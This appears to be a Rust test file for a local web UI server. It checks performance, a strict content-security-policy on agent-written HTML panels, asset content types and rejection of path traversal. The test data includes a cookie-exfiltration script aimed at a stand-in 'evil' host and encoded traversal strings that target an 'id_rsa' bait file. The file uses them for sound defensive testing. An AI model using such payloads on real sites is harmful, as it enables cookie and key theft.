            )
            .with_worktrees_root(fx.home.path().join("wt")),
        );
        let mut previous = None;
        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
            seed_performance(&fx, &repos, n, runs, items);
            let mut costs = Vec::new();
            for endpoint in ["questions", "talks", "health", "stats"] {
                for repo in &repos {
                    let cache = repo.join(".git/magi/config");
                    if cache.exists() {
                        std::fs::remove_dir_all(cache).unwrap();
                    }
                }
                let (_, cost) = request_cost::measure(async {
                    match endpoint {
                        "questions" => {
                            let _ = questions_list(State(ui.clone())).await.unwrap();
                        }
                        "talks" => {
                            let _ = talks_list(
                                State(ui.clone()),
                                Query(ListQuery {
                                    limit: None,
                                    ids: None,
                                }),
                            )
                            .await
                            .unwrap();
                        }
                        "health" => {
                            let _ = health(State(ui.clone())).await.unwrap();
                        }
                        _ => {
                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
                                .await
                                .unwrap();
                        }
                    }
                })
                .await;
                eprintln!("{endpoint} handler N={n}: {cost:?}");
                assert_eq!(
                    cost.0,
                    if endpoint == "talks" { 2 } else { 1 },
                    "{endpoint}"
                );
                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
                costs.push(cost);
            }
            if let Some(previous) = previous {
                assert_eq!(costs, previous);
            }
            previous = Some(costs);
        }
    }

    #[tokio::test]
    async fn list_request_cost_scopes_do_not_mix() {
        let (_tmp, repos, fx) = performance_fixture().await;
        seed_performance(&fx, &repos, 10, 0, 10);
        let (questions, talks, notices) = tokio::join!(
            fx.get("/api/questions"),
            fx.get("/api/talks"),
            fx.get("/api/notifications")
        );
        assert_eq!(request_counts(&questions).0, 1);
        assert_eq!(request_counts(&talks).0, 2);
        assert_eq!(request_counts(&notices), (0, 0));
    }

    #[tokio::test]
    async fn list_endpoints_large_home_ceiling() {
        let (_tmp, repos, fx) = performance_fixture().await;
        seed_performance(&fx, &repos, 200, 300, 400);
        let mut failures = Vec::new();
        // app.js boot/change loads plus the initial dashboard, settings and
        // repo picker. SSE is a persistent stream, not a bounded GET.
        for path in [
            "/",
            "/app.js",
            "/app.css",
            "/api/questions",
            "/api/runs?limit=300",
            "/api/queue",
            "/api/talks",
            "/api/notifications",
            "/api/health",
            "/api/stats",
            "/api/loop",
            "/api/settings",
            "/api/repos",
        ] {
            let start = std::time::Instant::now();
            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
            let elapsed = start.elapsed();
            eprintln!("{path}: {elapsed:?}");
            match result {
                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
            }
        }
        assert!(failures.is_empty(), "{}", failures.join("\n"));
    }

    struct Res {
        status: u16,
        headers: String,
        /// The header block with its original casing, for the assertions that
        /// compare a header *value* rather than looking for a name. Lowercasing
        /// a CSP would hide a directive spelled with a capital letter, and the
        /// whole point of that test is that the string is exactly right.
        head: String,
        body: String,
        /// The body before any UTF-8 handling, for the routes that serve
        /// something other than text. A panel asset is a PNG as often as not,
        /// and `from_utf8_lossy` would silently replace half of it.
        bytes: Vec<u8>,
    }

    impl Res {
        fn json(&self) -> Value {
            serde_json::from_str(&self.body)
                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
        }

        /// One header's value verbatim, or `None` when it was not sent.
        fn header(&self, name: &str) -> Option<&str> {
            self.head.lines().find_map(|line| {
                let (key, value) = line.split_once(':')?;
                key.trim()
                    .eq_ignore_ascii_case(name)
                    .then(|| value.trim_start().trim_end_matches('\r'))
            })
        }
    }

    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
    /// be read to end-of-stream without parsing framing.
    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
        request_with(addr, method, path, body, &[]).await
    }

    /// As [`request`], with extra request headers - conditional GETs need
    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
    /// worse than one that sets none.
    async fn request_with(
        addr: SocketAddr,
        method: &str,
        path: &str,
        body: Option<&str>,
        extra: &[(&str, &str)],
    ) -> Res {
        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
        for (name, value) in extra {
            head.push_str(&format!("{name}: {value}\r\n"));
        }
        if let Some(body) = body {
            head.push_str("Content-Type: application/json\r\n");
            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
        }
        head.push_str("\r\n");
        if let Some(body) = body {
            head.push_str(body);
        }
        let mut socket = tokio::net::TcpStream::connect(addr)
            .await
            .expect("connect to the test server");
        socket
            .write_all(head.as_bytes())
            .await
            .expect("write request");
        let mut raw = Vec::new();
        socket.read_to_end(&mut raw).await.expect("read response");
        // Split on the raw bytes rather than on a lossy string, so a binary
        // body survives to be compared byte for byte.
        let split = raw
            .windows(4)
            .position(|w| w == b"\r\n\r\n")
            .expect("a header block");
        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
        let bytes = raw[split + 4..].to_vec();
        let status = head
            .lines()
            .next()
            .and_then(|line| line.split_whitespace().nth(1))
            .and_then(|code| code.parse().ok())
            .expect("a status line");
        Res {
            status,
            headers: head.to_lowercase(),
            head,
            body: String::from_utf8_lossy(&bytes).into_owned(),
            bytes,
        }
    }

    /// A `POST` carrying a raw binary body and its own headers, for the
    /// attachment upload route - `request_with` only ever sends
    /// `Content-Type: application/json`, which is wrong for an image and
    /// would corrupt anything not valid UTF-8 by round-tripping it through
    /// `&str` first.
    async fn request_bytes(
        addr: SocketAddr,
        path: &str,
        headers: &[(&str, &str)],
        body: &[u8],
    ) -> Res {
        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
        for (name, value) in headers {
            head.push_str(&format!("{name}: {value}\r\n"));
        }
        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
        let mut socket = tokio::net::TcpStream::connect(addr)
            .await
            .expect("connect to the test server");
        socket
            .write_all(head.as_bytes())
            .await
            .expect("write request head");
        socket.write_all(body).await.expect("write request body");
        let mut raw = Vec::new();
        socket.read_to_end(&mut raw).await.expect("read response");
        let split = raw
            .windows(4)
            .position(|w| w == b"\r\n\r\n")
            .expect("a header block");
        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
        let bytes = raw[split + 4..].to_vec();
        let status = head
            .lines()
            .next()
            .and_then(|line| line.split_whitespace().nth(1))
            .and_then(|code| code.parse().ok())
            .expect("a status line");
        Res {
            status,
            headers: head.to_lowercase(),
            head,
            body: String::from_utf8_lossy(&bytes).into_owned(),
            bytes,
        }
    }

    /// A run on disk, without touching the process-global magi home.
    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Add a web UI\n\nMobile first.".to_owned(),
            Config::default(),
        );
        state.id = id.to_owned();
        state.status = status;
        let dir = runs.join(id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");
    }

    /// Same as [`write_run`], but against a named repository rather than the
    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
    /// spread across more than one.
    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
        let mut state = RunState::new(
            PathBuf::from(repo),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        state.id = id.to_owned();
        state.status = status;
        let dir = runs.join(id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");
    }

    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
        let body = serde_json::json!({
            "schema": 1,
            "pid": 4242,
            "started_at": Timestamp::now().to_string(),
            "updated_at": updated_at.to_string(),
            "idle": false,
            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
            "completed": 7,
            "polls": 143,
        });
        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
    }

    /// A loop that starts, finds nothing to do, and waits to be told to stop.
    ///
    /// No test in this file may start the real loop - see [`Ui::launch`] for
    /// why - so this stands in for the only thing the routes need a loop to
    /// do: keep running until `Stop` is set, then return. A real
    /// `serve_until` here would resolve its queue and its status file through
    /// the process-global magi home, claim whatever it found in the
    /// operator's live backlog, overwrite the status file of the `magi serve`
    /// that owns it, and spend real agent quota on a real competition.
    fn launch_idle(
        _opts: daemon::Opts,
        stop: daemon::Stop,
    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
        Box::pin(async move {
            while !stop.stopped() {
                tokio::time::sleep(Duration::from_millis(2)).await;
            }
            Ok(())
        })
    }

    /// A loop that fails on the way up, the way one whose home has gone
    /// read-only does.
    fn launch_broken(
        _opts: daemon::Opts,
        _stop: daemon::Stop,
    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
        // The stand-in dies instantly, so a restarted one can record its own
        // failure before the start's response is read. The second attempt
        // therefore fails with a different message, to tell a stale error
        // from a fresh one.
        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
        Box::pin(async move {
            Err(anyhow::anyhow!(if first {
                "publish the daemon status file: read-only file system"
            } else {
                "the restarted stand-in failed as well"
            }))
        })
    }

    /// The address the parking loop knocks on, and what it heard there.
    ///
    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
    /// capture a fixture's address; this is how it is handed one. Only
    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
    /// these, so nothing else in this binary can race them.
    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);

    /// A loop that, once it is asked to stop, checks the deck still answers
    /// before it goes.
    ///
    /// It stands in for a run mid-node: `finish_loop` waits for this future,
    /// so the request it makes is strictly inside the park window - no sleep
    /// and no polling needed to be sure of that.
    fn launch_knocking_on_the_way_out(
        _opts: daemon::Opts,
        stop: daemon::Stop,
    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
        Box::pin(async move {
            while !stop.stopped() {
                tokio::time::sleep(Duration::from_millis(2)).await;
            }
            let addr = PARK_KNOCK
                .lock()
                .expect("park knock")
                .expect("the test set an address");
            let heard = request(addr, "GET", "/api/health", None).await.status;
            *PARK_HEARD.lock().expect("park heard") = Some(heard);
            Ok(())
        })
    }

    /// The loop view once `want` accepts it.
    ///
    /// Polled rather than asserted straight after the POST because stopping
    /// is deliberately not instant - that is the contract - and rather than
    /// slept through because a fixed wait is either flaky or slow.
    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
    /// finite, so a genuine hang fails the test instead of hanging the
    /// suite.
    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
        for _ in 0..SETTLE_STEPS {
            let view = fx.get("/api/loop").await.json();
            if want(&view) {
                return view;
            }
            tokio::time::sleep(Duration::from_millis(10)).await;
        }
        panic!(
            "the loop never settled: {}",
            fx.get("/api/loop").await.json()
        );
    }

    /// File an open question directly in the store the server reads.
    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
        let store = fx.questions();
        let mut q = Question::new(
            "20260902-000000-beef".to_owned(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            summary.to_owned(),
            "because it matters".to_owned(),
            choices.iter().map(|c| (*c).to_owned()).collect(),
        );
        store.put(&mut q).expect("put question");
        q.id
    }

    /// A question with a panel the server can serve, plus the named assets.
    ///
    /// Written through `Questions::put_panel` rather than by laying out the
    /// directory here, so these tests exercise the same on-disk shape the
    /// agents produce and cannot pass against a layout only the tests know.
    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
        let store = fx.questions();
        let mut q = Question::new(
            "20260902-000000-beef".to_owned(),
            "land".to_owned(),
            "fix".to_owned(),
            "Merge this?".to_owned(),
            "the diff is in the panel".to_owned(),
            vec!["merge".to_owned(), "hold".to_owned()],
        );
        // Staged outside the questions root, because `put_panel` copies from
        // wherever the agent left its files.
        let staging = fx.home.path().join("staging");
        std::fs::create_dir_all(&staging).expect("staging dir");
        let sources: Vec<PathBuf> = assets
            .iter()
            .map(|(name, bytes)| {
                let path = staging.join(name);
                std::fs::write(&path, bytes).expect("write staged asset");
                path
            })
            .collect();
        store
            .put_panel(&mut q, html, &sources)
            .expect("write the panel");
        store.put(&mut q).expect("put question");
        q.id
    }

    /// A talk on disk, without talking to a model.
    ///
    /// Written as JSON straight into the store the server reads, because the
    /// only constructor `talk::begin` offers takes no turn but still requires
    /// a real caller-visible flow. The one thing this cannot make up is the
    /// seat, so it is built with the real `SeatState::new` and serialized -
    /// the alternative, hand-writing that object, would make these tests fail
    /// the day the seat gains a field.
    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
        seed_talk_at(&fx.talks(), id, status)
    }

    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
        std::fs::create_dir_all(store.root()).expect("talks dir");
        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
            .expect("serialize a seat");
        let body = serde_json::json!({
            "schema": 1,
            "id": id,
            "repo": "/repo/magi",
            "agent": "mock",
            "status": status,
            "turns": [],
            "created_at": Timestamp::now().to_string(),
            "updated_at": Timestamp::now().to_string(),
            "seat": seat,
        });
        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
        store.get(id).expect("the seeded talk has to be readable");
        id.to_owned()
    }

    #[tokio::test]
    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
        let fx = Fixture::start().await;
        let id = panel(
            &fx,
            "<h1>Merge?</h1><img src=\"diff.svg\">",
            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
        );

        for path in [
            format!("/api/questions/{id}/panel"),
            format!("/api/questions/{id}/asset/diff.svg"),
        ] {
            let res = fx.get(&path).await;
            assert_eq!(res.status, 200, "{path}: {}", res.body);
            // The whole string, not a substring. A weakened directive - an
            // `img-src *` that lets a panel beacon out to a remote host, a
            // `script-src` anything, a missing `form-action` that lets it post
            // the owner's decision to a third party - has to fail here, and a
            // `contains` assertion would let every one of those through.
            assert_eq!(
                res.header("content-security-policy"),
                Some(
                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
                     font-src data:; base-uri 'none'; form-action 'none'; \
                     frame-ancestors 'self'"
                ),
                "{path} is the only thing between a hostile panel and the tailnet"
            );
            assert_eq!(
                res.header("x-content-type-options"),
                Some("nosniff"),
                "{path}: a browser must not re-decide the type we sent"
            );
            assert_eq!(
                res.header("referrer-policy"),
                Some("no-referrer"),
                "{path}: a panel must not leak the question id off the machine"
            );

            // The front end mounts the frame only after a `HEAD` says the
            // panel is there, so `HEAD` has to answer with the same status and
            // the same policy as `GET` - a preflight that came back without
            // the CSP would mean a frame mounted on an unverified promise.
            let pre = fx.head(&path).await;
            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
            assert_eq!(
                pre.header("content-security-policy"),
                res.header("content-security-policy"),
                "{path}: the preflight carries the same policy"
            );
            assert_eq!(
                pre.header("content-type"),
                res.header("content-type"),
                "{path}: the preflight carries the same type"
            );
        }
    }

    #[tokio::test]
    async fn a_panel_reaches_the_browser_byte_for_byte() {
        let fx = Fixture::start().await;
        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
        // tag, an entity, and a multi-byte character. The sandbox is what makes
        // this safe, so nothing here may be rewritten on the way out - a
        // rewritten diff is a diff the owner cannot trust.
        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
        let id = panel(&fx, html, &[]);

        let res = fx.get(&format!("/api/questions/{id}/panel")).await;

        assert_eq!(res.status, 200);
        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
        assert_eq!(
            res.header("content-disposition"),
            None,
            "the panel itself is rendered in the frame, not downloaded"
        );
    }

    #[tokio::test]
    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
        let fx = Fixture::start().await;
        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
        let id = panel(
            &fx,
            "<img src=\"diff.svg\"><img src=\"shot.png\">",
            &[("diff.svg", svg), ("shot.png", png)],
        );

        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;

        assert_eq!(as_svg.status, 200);
        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
        // An SVG is XML that may carry script. Inside the panel it is an
        // `<img src>` and the script cannot run; opened at the top level it
        // would be a document on magi's own origin, so the browser is told to
        // download it instead of rendering it.
        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));

        assert_eq!(as_png.status, 200);
        assert_eq!(as_png.header("content-type"), Some("image/png"));
        assert_eq!(
            as_png.header("content-disposition"),
            None,
            "a raster image has no execution surface, so tapping it still shows it"
        );
        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
    }

    #[tokio::test]
    async fn an_html_asset_is_never_served_as_html() {
        let fx = Fixture::start().await;
        let id = panel(
            &fx,
            "<p>see the notes</p>",
            &[
                (
                    "notes.html",
                    b"<script>fetch('http://evil/'+document.cookie)</script>",
                ),
                ("hook.js", b"fetch('http://evil/')"),
                ("data.json", b"{}"),
                ("HEADLINE.TXT", b"plain"),
            ],
        );

        for name in ["notes.html", "hook.js", "data.json"] {
            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
            assert_eq!(res.status, 200, "{name}: {}", res.body);
            // Serving this as text/html would be a way to reach agent markup
            // at the top level of the operator's browser, outside the frame's
            // sandbox and outside its CSP - which is the whole thing the panel
            // design exists to prevent. Unlisted types are downloads.
            assert_eq!(
                res.header("content-type"),
                Some("application/octet-stream"),
                "{name} must not be a type the browser will execute or render"
            );
        }
        // The whitelist is matched case-insensitively, so an agent shouting the
        // extension still gets a readable file rather than a download.
        let txt = fx
            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
            .await;
        assert_eq!(
            txt.header("content-type"),
            Some("text/plain; charset=utf-8")
        );
    }

    #[tokio::test]
    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
        let fx = Fixture::start().await;
        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
        // Something outside the panel directory that a traversal would reach if
        // one got through, so a passing test is not merely "the file was
        // missing anyway".
        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");

        // Decoded before this server's handler sees them: axum percent-decodes
        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
        // string with a NUL in it. All three look like ordinary single-segment
        // filenames to the router, so the router passes them through and
        // `valid_asset_name` is what refuses them - for the literal `..`, and
        // for `/`, `\` and NUL not being in the permitted character set.
        for encoded in [
            "%2e%2e%2fid_rsa",
            "..%2fid_rsa",
            "..%5cid_rsa",
            "%2e%2e%5cid_rsa",
            "diff%00.svg",
            "..",
            ".hidden",
            "%2e%2e%2f%2e%2e%2fid_rsa",
        ] {
            let res = fx
                .get(&format!("/api/questions/{id}/asset/{encoded}"))
                .await;
            assert_eq!(
                res.status, 400,
                "`{encoded}` has to be refused by name, not looked up: {}",
                res.body
            );
            assert!(res.json()["error"].is_string(), "{}", res.body);
        }

        // Not decoded, and never this handler's problem: a real slash makes the
        // request one segment too long for `/api/questions/{id}/asset/{name}`,
        // so axum's router has no route to match and answers before any code
        // here runs. Asserted so that a future route with a wildcard segment
        // cannot quietly open this door.
        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
            let res = fx
                .get(&format!("/api/questions/{id}/asset/{literal}"))
                .await;
            assert_eq!(
                res.status, 404,
                "`{literal}` must not match the asset route at all: {}",
                res.body
            );
        }
    }

    #[tokio::test]
    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
        let fx = Fixture::start().await;
        let plain = ask(&fx, "Which backend?", &["SQLite"]);
        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);

        // A question nobody wrote a panel for. The client preflights with HEAD
        // and cannot see inside a sandboxed frame, so this must be a status and
        // not an empty page.
        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
        assert_eq!(none.status, 404, "{}", none.body);
        assert!(none.json()["error"].is_string(), "{}", none.body);
        assert_eq!(
            fx.head(&format!("/api/questions/{plain}/panel"))
                .await
                .status,
            404,
            "the preflight is the only way the client can learn this"
        );

        // A name that is perfectly legal and simply is not there.
        let missing = fx
            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
            .await;
        assert_eq!(missing.status, 404, "{}", missing.body);
        assert!(missing.json()["error"].is_string(), "{}", missing.body);

        // A question that does not exist at all, on both routes.
        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
        assert_eq!(
            fx.get("/api/questions/nope/asset/diff.svg").await.status,
            404
        );
    }

    #[tokio::test]
    async fn a_run_with_an_open_question_reads_as_waiting() {
        let fx = Fixture::start().await;
        let run = "20260902-000000-beef".to_owned();
        write_run(&fx.runs(), &run, RunStatus::Implementing);

        let before = fx.get("/api/runs").await.json();
        assert_eq!(before[0]["waiting"], false, "{before}");

        let store = fx.questions();
        let mut q = Question::new(
            run.clone(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            "Which backend?".to_owned(),
            String::new(),
            vec!["SQLite".to_owned()],
        );
        store.put(&mut q).expect("put");

        let during = fx.get("/api/runs").await.json();
        assert_eq!(during[0]["waiting"], true, "{during}");

        // Answered: the run is moving again, and the flag has to follow without
        // anything having rewritten run.json.
        q.answer(Answer::Choice("SQLite".to_owned()))
            .expect("answer");
        store.put(&mut q).expect("put");
        let after = fx.get("/api/runs").await.json();
        assert_eq!(after[0]["waiting"], false, "{after}");
    }

    #[tokio::test]
    async fn an_open_question_is_listed_and_counted_by_health() {
        let fx = Fixture::start().await;
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);

        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let listed = fx.get("/api/questions").await.json();
        assert_eq!(listed.as_array().expect("array").len(), 1);
        assert_eq!(listed[0]["id"], id);
        assert_eq!(listed[0]["status"], "open");
        assert_eq!(listed[0]["choices"][1], "Redis");
        // The count is what makes the phone's indicator honest: it is the one
        // number meaning nothing will move until a human acts.
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
    }

    #[tokio::test]
    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let path = format!("/api/questions/{id}/answer");

        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let body = res.json();
        assert_eq!(body["status"], "answered");
        assert_eq!(body["answer"]["choice"], "Redis");

        // Answered from the terminal in between the list and the tap: the UI
        // must be able to tell this from a bad request, so it can show the
        // recorded answer instead of an error.
        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
        assert_eq!(again.status, 409, "{}", again.body);
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
    }

    #[tokio::test]
    async fn saying_something_appends_a_turn_without_answering() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let path = format!("/api/questions/{id}/say");

        let res = fx
            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
            .await;
        assert_eq!(res.status, 200, "{}", res.body);
        let body = res.json();
        assert_eq!(body["status"], "open", "talking back is not a decision");
        assert_eq!(body["answer"], Value::Null);
        assert_eq!(body["thread"][0]["who"], "operator");
        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
        assert_eq!(body["waiting_on_agent"], true);
        // Still open, still counted, still exactly one question.
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
    }

    #[tokio::test]
    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);

        let list = fx.get("/api/questions").await.json();
        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");

        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
        assert_eq!(res.status, 409, "{}", res.body);
        let q = fx.questions().get(&id).unwrap();
        assert!(q.status.open());
        assert!(q.consult.is_none());
    }

    #[tokio::test]
    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let cfg = Config {
            agents: vec![crate::config::AgentSpec {
                id: "mock".to_owned(),
                kind: crate::config::AgentKind::Command,
                model: None,
                command: vec!["true".to_owned()],
                extra_args: Vec::new(),
                env: Default::default(),
                prompt_delivery: None,
            }],
            ..Config::default()
        };
        let talk = crate::talk::begin(
            &fx.talks(),
            &cfg,
            fx.home.path().to_path_buf(),
            Some("mock"),
        )
        .unwrap();
        let mut task = Task::new(
            "t".to_owned(),
            "Do it".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: talk.id.clone(),
                node: crate::queue::CHAT_NODE.to_owned(),
            },
        );
        task.start("20260902-000000-beef".to_owned());
        fx.queue().put(&mut task).unwrap();

        let list = fx.get("/api/questions").await.json();
        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
        assert_eq!(
            list[0]["choices"],
            serde_json::json!(["SQLite", "Redis"]),
            "the hand-over is never a choice"
        );
        fx.questions()
            .update(&id, |q| {
                q.node = crate::land::APPROVAL_NODE.into();
                q.choices = vec!["merge".into(), "hold".into()];
                Ok(())
            })
            .unwrap();
        let list = fx.get("/api/questions").await.json();
        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
        let _ = id;
    }

    #[tokio::test]
    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        fx.questions()
            .update(&id, |q| {
                q.node = crate::land::APPROVAL_NODE.into();
                q.choices = vec!["merge".into(), "hold".into()];
                Ok(())
            })
            .unwrap();
        let cfg = Config {
            agents: vec![crate::config::AgentSpec {
                id: "mock".to_owned(),
                kind: crate::config::AgentKind::Command,
                model: None,
                command: vec!["true".to_owned()],
                extra_args: Vec::new(),
                env: Default::default(),
                prompt_delivery: None,
            }],
            ..Config::default()
        };
        // Not a git working tree, so its `magi.toml` is read from disk.
        let repo = fx.home.path().join("chat-repo");
        std::fs::create_dir_all(&repo).unwrap();
        let toml = repo.join("magi.toml");
        std::fs::write(&toml, "this is = = not toml").unwrap();
        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
        let mut task = Task::new(
            "t".to_owned(),
            "Do it".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: talk.id.clone(),
                node: crate::queue::CHAT_NODE.to_owned(),
            },
        );
        task.start("20260902-000000-beef".to_owned());
        fx.queue().put(&mut task).unwrap();

        let path = format!("/api/questions/{id}/consult");
        let res = fx.post(&path, None).await;
        assert!(res.status >= 400, "{}", res.body);
        assert!(fx.questions().get(&id).unwrap().consult.is_none());
        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());

        std::fs::write(&toml, "").unwrap();
        let res = fx.post(&path, None).await;
        assert_eq!(res.status, 202, "{}", res.body);
        assert!(fx.questions().get(&id).unwrap().consult.is_some());
        let q = fx.questions().get(&id).unwrap();
        assert!(q.status.open());
        assert!(q.answer.is_none());
        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
    }

    #[tokio::test]
    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
        let fx = Fixture::start().await;
        let store = fx.questions();
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        assert_eq!(
            fx.get("/api/health").await.json()["questions_needs_owner"],
            1
        );

        // The owner asks back instead of deciding: the ask bar, the nav badge
        // and the title must stop naming this question, because there is
        // nothing to decide until the agent answers - `status` alone cannot
        // say that, which is the whole reason `questions_needs_owner` exists
        // alongside `questions_open`.
        let res = fx
            .post(
                &format!("/api/questions/{id}/say"),
                Some(r#"{"body":"why not Postgres?"}"#),
            )
            .await;
        assert_eq!(res.status, 200, "{}", res.body);
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
        assert_eq!(
            fx.get("/api/health").await.json()["questions_needs_owner"],
            0,
            "waiting on the agent is not waiting on the owner"
        );

        // `magi ask --thread` replying is what brings the owner count back -
        // the same event that would resume the CLI call blocked in `magi
        // ask`.
        let mut q = store.get(&id).expect("get");
        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
            .expect("reply");
        store.put(&mut q).expect("put");
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
        assert_eq!(
            fx.get("/api/health").await.json()["questions_needs_owner"],
            1,
            "the agent's reply is what should light the banner back up"
        );
    }

    #[tokio::test]
    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
        let fx = Fixture::start().await;
        let store = fx.questions();

        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let res = fx
            .post(
                &format!("/api/questions/{empty_id}/say"),
                Some(r#"{"body":"   "}"#),
            )
            .await;
        assert_eq!(res.status, 400, "{}", res.body);

